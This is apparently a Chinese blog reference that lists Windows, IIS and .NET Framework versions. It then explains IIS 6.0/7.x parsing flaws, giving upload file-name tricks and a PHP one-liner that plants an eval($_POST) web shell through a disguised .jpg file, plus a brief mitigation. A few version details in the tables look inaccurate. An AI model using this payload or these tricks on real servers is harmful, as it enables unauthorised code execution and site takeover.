1. 程式人生 > >Windows各版本以及漏洞

Windows各版本以及漏洞

目錄

Win 9X

Win NT

    解析漏洞

MS-Dos

版本號 釋出時間
Windows1.0 1985.11
Windows2.0 1987.12
Windows2.1 1988
Windows3.0 1990.5
Windows3.1 1992
Windows3.2 1994


Win 9X

版本號 釋出時間
Windows95 1995.8(擁有開始按鈕和選單欄)
Windows98 1998.6(真正意義上的圖形化介面系統)
Windows98SE 1999
WindowsME 2000.9


Win NT

版本號 釋出時間
WindowsNT3.1 1993
WindowsNT4.0 1996.4
Windows 2000 (NT5.0) 2000
Windows XP (NT5.1) 2001.10    2009.4停止更新
Window Vista (NT6.0) 2005.11
Windows 7 (NT6.1) 2009
Windows 8 (NT6.3) 2012.10
Windows 8.1 2013.10
Windows 10 (NT10.0) 2015.7

Windows Server

版本號 釋出時間 IIS版本
Windows Server 2003 2003.3         2015.7停止更新 IIS6.0
Windows Server 2008 2008.2 IIS7.0/IIS7.5
Windows Server 2012 2012.9 IIS8.0
Windows Server 2016 2016.10 IIS10

.NET FrameWork

.NET FrameWork是微軟的新一代技術平臺,為敏捷商務構建互聯互通的應用系統,這些系統是基於標準的,聯通的,適應變化的,穩定的和高效能的。從技術的角度,一個.NET應用是一個運行於.NET Framework之上的應用程式。(更精確的說,一個.NET應用是一個使用.NET Framework類庫來編寫,並運行於公共語言執行時Common Language Runtime之上的應用程式。)如果一個應用程式跟.NET Framework無關,它就不能叫做.NET程式。比如,僅僅使用了XML並不就是.NET應用,僅僅使用SOAP SDK呼叫一個Web Service也不是.NET應用。.NET是基於Windows執行的操作平臺,應用於網際網路的分散式。

.NET平臺類似Java平臺,是微軟於2000年推出的Windows作業系統的應用軟體開發框架,發展至今形成巨大的技術棧,涉及多語言(支援C#、F#、VB.NET)多領域(Windows桌面軟體、Web應用、移動開發等)軟體開發,隨著2014年,微軟宣佈.NET開源,支援Linux等平臺,和Java平臺一樣實現了跨平臺。

版本 發行日期 Visual Studio Windows預設安裝
.Net Framework1.0 2002-02-13 VisualStudio 2002 Windows XP 
.Net Framework1.1 2003-04-24 Visual Studio 2003 Windows Server 2003
.Net Framework2.0 2005-11-07 Visual Studio 2005
.Net Framework3.0 2006-11-06 Windows Vista,Windows Server 2008
.Net Framework3.5 2007-11-19 Visual Studio 2008 Windows 7,Windows Server 2008 R2
.Net Framework4.0 2010-04-12 Visual Studio 2010 Windows 7,Windows Server 2008 R2
.Net Framework4.5 2011-09-20 Visual Studio 2012 Windows 8/8.1
.Net Framework4.6 2015-07-21 Visual Studio 2015 Windows 10
.Net Framework4.7 2017-10-18 Visual Studio 2017 Windows 10

IIS6.0漏洞

    解析漏洞

1、在網站目錄中如果存在名為*.asp、*.asa、*.cer、*.cdx的目錄,那該目錄內的任何檔案都會被IIS解析為asp檔案並執行。

2、在上傳圖片木馬的時候,將檔名改為件檔案都*.asp;.jpg、*.asa;.jpg、*.cer;.jpg ,該檔案被IIS解析為asp檔案並執行。

注:IIS6.0對域字尾是asp、asa、cer的檔案都當成是asp檔案執行,對於cdx字尾的檔案動作是下載

IIS7.0/7.5漏洞

    畸形解析漏洞

在IIS7.0、IIS7.5中,在預設Fast-CGI開啟狀況下,新建一個1.txt檔案,內容為<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['xie'])?>')?>,將檔案儲存成1.jpg格式,上傳到伺服器,假設上傳路徑為/upload,上傳成功後,直接訪問/upload/1.jpg,此時神奇的畸形解析開始發揮作用啦,我們會神奇的發現/upload目錄下建立了一個一句話木馬檔案shell.php。

臨時解決辦法:關閉cgi.fix_pathinfo為0